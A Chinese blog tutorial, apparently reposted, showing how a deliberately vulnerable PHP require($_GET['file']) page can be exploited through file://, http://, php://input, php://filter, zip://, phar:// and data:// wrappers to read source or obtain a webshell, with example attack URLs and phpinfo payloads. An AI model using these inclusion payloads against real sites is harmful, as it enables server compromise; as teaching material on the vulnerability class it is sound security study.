• PHP文件包含及使用伪协议getshell


     首先构造一个具有文件包含漏洞的php文件。

    require($_GET['file']);
    

     其次使用伪协议包含文件并getshell:

      1、file://:访问本地文件系统。

        

        例如。http://localhost/test.php?file=file://C:WindowsSystem32driversetchosts

        

      2、http://:访问http或https的网址

        

        例如:http://localhost/test.php?file=http://www.baidu.com

        

        http://伪协议必须   allow_url_fopen与allow_url_include同时开启。缺一不可。

        此伪协议就是远程文件包含漏洞。可通过其他主机getshell。例如:http://localhost/test.php?file=http://localhost/1.php

        

      3、php://访问各个输入输出流

         

          php://伪协议,主要为php://input与php://filter

          php://input:将POST输入流当做PHP代码执行。其只受   allow_url_include参数的影响,allow_url_fopen开关与此伪协议无关。

          例如:开启allow_url_include参数,关闭allow_url_fopen参数。

            

          访问:http://localhost/test.php?file=php://input    POST:<?php phpinfo();

            

        php://filter伪协议:不受   allow_url_fopen与allow_url_include参数的影响

          

          此协议主要用于读取php源代码时会用到。

          例如:http://localhost/test.php?file=php://filter/read=convert.base64-encode/resource=./1.php

            

          也就是说,将一个PHP文件通过base64编码读出。倘若不加read读取链,则会将其中内容当做PHP代码执行,倘若如此,则无法读取PHP文件内容,于是在读取链中将其编码。

          例如:php://filter/resource=./1.txt

           

          

          所以说,php://filter此协议不受参数影响,即可读取文件内容,也可包含恶意文件直接getshell。

          例如:将1.txt修改为

          菜刀连接:http://localhost/test.php?file=php://filter/resource=./1.txt

          

          getshell成功

       4、zip://伪协议

          

          试想倘若有一种情况限制文件后缀为php文件,并且上传文件只能传jpg文件。allow_url_fopen参数与allow_url_include参数全部off的情况下。

          

    <?php
        $file = $_GET['file'] . '.php';
        include($file);
    ?>
    

          貌似之前所用伪协议都无效,比较旧的版本可以使用00截断,路劲长度截断等。但是若无截断漏洞该如何?

          此种情况下可以使用zip伪协议,将木马放入压缩包中,再将压缩包后缀修改为上传白名单,然后使用zip伪协议进行包含。

          例如:zip://绝对路径需要解压缩的文件%23子文件名  

          

        5、phar://伪协议

          同zip伪协议。故上述问题此协议也可解决。

          phar://cc.jpg/cc,与zip协议不同的是zip协议为绝对路径,而phar协议为相对路径。

          

        6、data://伪协议

           

          可以看到,此协议是受 allow_url_include 限制的。所以 allow_url_fopen参数与allow_url_include都需开启。

          data://text/plain,<?php phpinfo();?>。test/plain, 后面的值会被当做php代码执行。

          

          也可如此:data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

            

  • 相关阅读:
    这个星期一好像有点无聊
    SQL、LINQ、Lambda三种方式比较
    [C#基础知识]Class和Struct的区别
    C#判断大批量的路径是否存在时,如何缩短判断时间
    批处理 for参数之token详解
    批处理Delims的基本知识
    读取txt文本中每一条路径(一行)并判断,路径不存在的保存在另一txt文本中
    批处理获取一些系统参数
    Cannot read configuration file due to insufficient permissions
    my97datepicker日期选择插件的用法
  • 原文地址:https://www.cnblogs.com/Spec/p/11137030.html
Copyright © 2020-2023  润新知